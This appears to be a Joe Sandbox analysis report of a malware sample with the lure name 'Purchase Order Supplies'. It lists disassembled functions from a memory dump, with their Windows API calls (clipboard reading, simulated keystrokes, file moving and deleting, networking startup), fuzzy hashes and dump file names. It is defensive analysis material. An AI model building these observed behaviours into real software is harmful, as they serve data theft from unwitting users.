Function 00CE95AF Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00CE95C9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 0d68e46942d27d940ad8d70d8f3bf154fe0a5336cf377704eed2070654efc452
Instruction ID: 03c2bc40df3d3fb6dc79d31c605c9e19611e3bbd99d54ee123678a5cf0940748
Opcode Fuzzy Hash: 0d68e46942d27d940ad8d70d8f3bf154fe0a5336cf377704eed2070654efc452
Instruction Fuzzy Hash: 73E0E5336043156BC310EA64DC05AABB799BF85720F04875ABDA5873C1DB30D814C3D1

Function 00C93E39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,00C934E2,?,00000001), ref: 00C93E6D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: c5446648351f729bb690334fc847d9ff7215b038e267973899d28d4ce818b236
Instruction ID: 5d678d86028ec51aafa0cdd10ad79ad42b7afc1f41423f2c95e3c14625144991
Opcode Fuzzy Hash: c5446648351f729bb690334fc847d9ff7215b038e267973899d28d4ce818b236
Instruction Fuzzy Hash: ABF03971505791DFCF349F65D498853BBE1EF147193248A3EE1E682621C7319E44DF20

Function 00CD79F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00CD7A11

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 69aa039acb68e6725a078031c45b809892b888872d3e4557010ba52bdb05e213
Instruction ID: a775433d4b6a75a9b5312a86efaf223b190e31b2e3732fdf9d82a6e33f77fdcf
Opcode Fuzzy Hash: 69aa039acb68e6725a078031c45b809892b888872d3e4557010ba52bdb05e213
Instruction Fuzzy Hash: 90D05EA66002283FDF50E6649C0DDFB36ADC744104F0042A0B86DD2142EA20AE4586F0

Function 00CD6852 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD6623: SetFilePointerEx.KERNEL32(?,?,?,00000000,00000001,00000003,?,00CD685E,?,?,?,00D04A5C,00D2E448,00000003,?,?), ref: 00CD66E2

WriteFile.KERNEL32(?,?,00D522E8,00000000,00000000,?,?,?,00D04A5C,00D2E448,00000003,?,?,00C94C44,?,?), ref: 00CD686C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 349d5581cd4e2835ba2b6d0e4806877b06b8dfa94f4bf53256a8a8a614123335
Instruction ID: 45f8c50e968a8b673593faa1445eb1eaafedc530186cddf6afe22a9b9034cefd
Opcode Fuzzy Hash: 349d5581cd4e2835ba2b6d0e4806877b06b8dfa94f4bf53256a8a8a614123335
Instruction Fuzzy Hash: F4E0B636400318BBDB20AF94D805ACABBB9EB08754F10451AF94195151D7B5EA54DBA4

Function 00C9193B Relevance: 1.5, APIs: 1, Instructions: 18windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00C91952

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSendTimeout
String ID:
API String ID: 1599653421-0
Opcode ID: 1df1fb303b8a03109aa1c9804cd5fb29e9598c56eb784cf6dfa58094fcce9496
Instruction ID: 05e6759bee339126ba7faa417c46466f0093293731918f8453628f139c1976a1
Opcode Fuzzy Hash: 1df1fb303b8a03109aa1c9804cd5fb29e9598c56eb784cf6dfa58094fcce9496
Instruction Fuzzy Hash: BFD0C9B16902087EFB008761CD06DBB775CD721A81F008661BA06D6491DA649E098570

Function 00CCE390 Relevance: 1.5, APIs: 1, Instructions: 16windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00C91952

SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00CCE3AA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$Timeout
String ID:
API String ID: 1777923405-0
Opcode ID: f0baa59937c9ef9ea4846c731dfb48e6b45eabc05a11c6228c58738b06cf8215
Instruction ID: 90271bf702a37e1e719ea0f5a4ecdd995f6a705dd1a38a6b9dacd229fac3f47f
Opcode Fuzzy Hash: f0baa59937c9ef9ea4846c731dfb48e6b45eabc05a11c6228c58738b06cf8215
Instruction Fuzzy Hash: 2FD01231144260AAFE706B14FC06FC177929B41750F1A4459F581A71E9C7D25C825544

Function 00CE6FC3 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?), ref: 00CE6FE1

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 8e3893afca8a65a3347ba8b2362369e0f62d3a6694e50aaec4cdcb1b1530750e
Instruction ID: 3dac725fd6779545b55ddd318b1d1df5ff350197deddb22cdfd56d486664e9c2
Opcode Fuzzy Hash: 8e3893afca8a65a3347ba8b2362369e0f62d3a6694e50aaec4cdcb1b1530750e
Instruction Fuzzy Hash: 49D067362106149F8B01AB99D844C8577E9FF4D6513018051F509DB331DA21E8559B90

Function 00C94FB3 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?,?,?,00D049DA,?,?,00000000), ref: 00C94FC4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: cbd732f0b8731fc66c550490bce81854b5c99dfa496b23e605c16d0dd4c2dda7
Instruction ID: 5a91a0ebaa25b5a2ec710de861bcdfa76a1ad2f81fdbfd335e7d45933e71c414
Opcode Fuzzy Hash: cbd732f0b8731fc66c550490bce81854b5c99dfa496b23e605c16d0dd4c2dda7
Instruction Fuzzy Hash: FBD0C974640308BFEB00CB90DC46F9A7BBDEB04718F200194FA00A62D0D6F2BE818B65

Function 00D04DDC Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00D04DE7

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: c52d2dc1a1d621623d8658aff65a9f7634e51fb00ec4ace820d7e0eddd88e343
Instruction ID: cd5268646bd32e636c065f0e70828ccfc572f1069032c33c58c86436d8bdbaa7
Opcode Fuzzy Hash: c52d2dc1a1d621623d8658aff65a9f7634e51fb00ec4ace820d7e0eddd88e343
Instruction Fuzzy Hash: 74D012B1500201DBE7349F69E80478AB7E4BF95304F24882DE5D6C2651D7BAE8C2DF12

Function 00C950EC Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00C950BE,?,00C95088,?,00C9BE3D,00D522E8,?,00000000,?,00C93E2E,?,00000000,?), ref: 00C9510C

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5601d228885557aa09c79f82766620305dcdbb2051b794fc8eb9ffbc721401a3
Instruction ID: 75f74c540a05018327d8afd7a13389cfabfce427c2b540b0be0468f3abef94f4
Opcode Fuzzy Hash: 5601d228885557aa09c79f82766620305dcdbb2051b794fc8eb9ffbc721401a3
Instruction Fuzzy Hash: 4AE0B675400B02DBC6324F1AE808452FBF5FFE13613218A2FD4E582660DBB1559ADB90

Non-executed Functions

Function 00CFF5D0 Relevance: 68.9, APIs: 37, Strings: 2, Instructions: 630windowkeyboardnativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00CAAF7D: GetWindowLongW.USER32(?,000000EB), ref: 00CAAF8E

NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,?,?,?,?,?), ref: 00CFF64E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00CFF6AD
GetWindowLongW.USER32(?,000000F0), ref: 00CFF6EA
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00CFF711
SendMessageW.USER32 ref: 00CFF737
_wcsncpy.LIBCMT ref: 00CFF7A3
GetKeyState.USER32(00000011), ref: 00CFF7C4
GetKeyState.USER32(00000009), ref: 00CFF7D1
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00CFF7E7
GetKeyState.USER32(00000010), ref: 00CFF7F1
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00CFF820
SendMessageW.USER32 ref: 00CFF843
SendMessageW.USER32(?,00001030,?,00CFDE69), ref: 00CFF940
SetCapture.USER32(?), ref: 00CFF970
ClientToScreen.USER32(?,?), ref: 00CFF9D4
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 00CFF9FA
ReleaseCapture.USER32 ref: 00CFFA05
GetCursorPos.USER32(?), ref: 00CFFA3A
ScreenToClient.USER32(?,?), ref: 00CFFA47
SendMessageW.USER32(?,00001012,00000000,?), ref: 00CFFAA9
SendMessageW.USER32 ref: 00CFFAD3
SendMessageW.USER32(?,00001111,00000000,?), ref: 00CFFB12
SendMessageW.USER32 ref: 00CFFB3D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00CFFB55
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00CFFB60
GetCursorPos.USER32(?), ref: 00CFFB81
ScreenToClient.USER32(?,?), ref: 00CFFB8E
GetParent.USER32(?), ref: 00CFFBAA
SendMessageW.USER32(?,00001012,00000000,?), ref: 00CFFC10
SendMessageW.USER32 ref: 00CFFC40
ClientToScreen.USER32(?,?), ref: 00CFFC96
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00CFFCC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 00CFFCEA
SendMessageW.USER32 ref: 00CFFD0D
ClientToScreen.USER32(?,?), ref: 00CFFD57
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00CFFD87
GetWindowLongW.USER32(?,000000F0), ref: 00CFFE1C

Strings

F, xrefs: 00CFFD13
@GUI_DRAGID, xrefs: 00CFF99D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CaptureCursorMenuPopupTrack$DialogInvalidateNtdllParentProc_RectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3461372671-4164748364
Opcode ID: bcd178e41a10c96a99bd9d1acf8d253c42bdec8a4e3a4bb44709ade83ea39639
Instruction ID: 6a4521fd8816dd70390b4371cdbe9af6bb64722e88676bf9ca8f7691d2995180
Opcode Fuzzy Hash: bcd178e41a10c96a99bd9d1acf8d253c42bdec8a4e3a4bb44709ade83ea39639
Instruction Fuzzy Hash: 03329B74104309AFDB60DF24C884AAABBA5FF48354F14492DF6A5C72A1DB30DD46CB62

Function 00CFA8DC Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00CFAFDB

Strings

%d/%02d/%02d, xrefs: 00CFAD0A

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: 0e894547f41b07dd6e14c5989873d2ea256cdf7ae922177b4eb26567e06e0e7d
Instruction ID: bcd5ef803208caa0de311414201b24047188356a0eaf4a0f57591ed83773c90b
Opcode Fuzzy Hash: 0e894547f41b07dd6e14c5989873d2ea256cdf7ae922177b4eb26567e06e0e7d
Instruction Fuzzy Hash: BB12A0B1500318ABEB658F65CC89FFEBBB9EF45310F108119F619DB291DB708A41DB62

Function 00CAF78E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 00CAF796
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D04388
IsIconic.USER32(000000FF), ref: 00D04391
ShowWindow.USER32(000000FF,00000009), ref: 00D0439E
SetForegroundWindow.USER32(000000FF), ref: 00D043A8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00D043BE
GetCurrentThreadId.KERNEL32 ref: 00D043C5
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00D043D1
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00D043E2
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00D043EA
AttachThreadInput.USER32(00000000,?,00000001), ref: 00D043F2
SetForegroundWindow.USER32(000000FF), ref: 00D043F5
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D0440A
keybd_event.USER32(00000012,00000000), ref: 00D04415
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D0441F
keybd_event.USER32(00000012,00000000), ref: 00D04424
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D0442D
keybd_event.USER32(00000012,00000000), ref: 00D04432
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D0443C
keybd_event.USER32(00000012,00000000), ref: 00D04441
SetForegroundWindow.USER32(000000FF), ref: 00D04444
AttachThreadInput.USER32(000000FF,?,00000000), ref: 00D0446B

Strings

Shell_TrayWnd, xrefs: 00D04383

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: bd18c1adeb240910bdd4818df63e72d5cb69f75f2a556e115d655566573d50ae
Instruction ID: cb1bac6cf52c0c9066f7ec8243b1b30d422d924763e1dc9da078643a46427f5e
Opcode Fuzzy Hash: bd18c1adeb240910bdd4818df63e72d5cb69f75f2a556e115d655566573d50ae
Instruction Fuzzy Hash: A23165B1A403187BEB216B719C49FBF7E6DEB44B50F118015FB05E62D1CBB09D01AAB0

Function 00CD6B3F Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C931B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00C931DA

Part of subcall function 00CD7B9F: __wsplitpath.LIBCMT ref: 00CD7BBC
Part of subcall function 00CD7B9F: __wsplitpath.LIBCMT ref: 00CD7BCF

Part of subcall function 00CD7C0C: GetFileAttributesW.KERNEL32(?,00CD6A7B), ref: 00CD7C0D

_wcscat.LIBCMT ref: 00CD6B9D
_wcscat.LIBCMT ref: 00CD6BBB
__wsplitpath.LIBCMT ref: 00CD6BE2
FindFirstFileW.KERNEL32(?,?), ref: 00CD6BF8
_wcscpy.LIBCMT ref: 00CD6C57
_wcscat.LIBCMT ref: 00CD6C6A
_wcscat.LIBCMT ref: 00CD6C7D
lstrcmpiW.KERNEL32(?,?), ref: 00CD6CAB
DeleteFileW.KERNEL32(?), ref: 00CD6CBC
MoveFileW.KERNEL32(?,?), ref: 00CD6CDB
MoveFileW.KERNEL32(?,?), ref: 00CD6CEA
CopyFileW.KERNEL32(?,?,00000000), ref: 00CD6CFF
DeleteFileW.KERNEL32(?), ref: 00CD6D10
FindNextFileW.KERNEL32(00000000,00000010), ref: 00CD6D37
FindClose.KERNEL32(00000000), ref: 00CD6D53
FindClose.KERNEL32(00000000), ref: 00CD6D61

Strings

\*.*, xrefs: 00CD6B8C, 00CD6B9B, 00CD6BB9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: File$Find_wcscat$__wsplitpath$CloseDeleteMove$AttributesCopyFirstFullNameNextPath_wcscpylstrcmpi
String ID: \*.*
API String ID: 1867810238-1173974218
Opcode ID: b4f74ee53a96d92810f47146f11783629f22e3e62597dd484895d993046a4072
Instruction ID: 32a85bc90c6bc9287d5e0d3dada1769701c913d236fdb579fbcbd000ce113766
Opcode Fuzzy Hash: b4f74ee53a96d92810f47146f11783629f22e3e62597dd484895d993046a4072
Instruction Fuzzy Hash: D3513E72900268BACB21DBA0DC84EDE777DAF09304F4445D7E659E3251EB349B89CF61

Function 00CE7099 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00D2DBF0), ref: 00CE70C3
IsClipboardFormatAvailable.USER32(0000000D), ref: 00CE70D1
GetClipboardData.USER32(0000000D), ref: 00CE70D9
CloseClipboard.USER32 ref: 00CE70E5
GlobalLock.KERNEL32(00000000), ref: 00CE7101
CloseClipboard.USER32 ref: 00CE710B
GlobalUnlock.KERNEL32(00000000), ref: 00CE7120
IsClipboardFormatAvailable.USER32(00000001), ref: 00CE712D
GetClipboardData.USER32(00000001), ref: 00CE7135
GlobalLock.KERNEL32(00000000), ref: 00CE7142
GlobalUnlock.KERNEL32(00000000), ref: 00CE7176
CloseClipboard.USER32 ref: 00CE7283

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 5d4de1692b6aab8666bc489a3c850fa6d22e5fb3a889865dc143daab9fcdedbb
Instruction ID: f55a40b118ad82db5f94b8b71b06e541ae051a4e24ffcbf614c9af8a910bff40
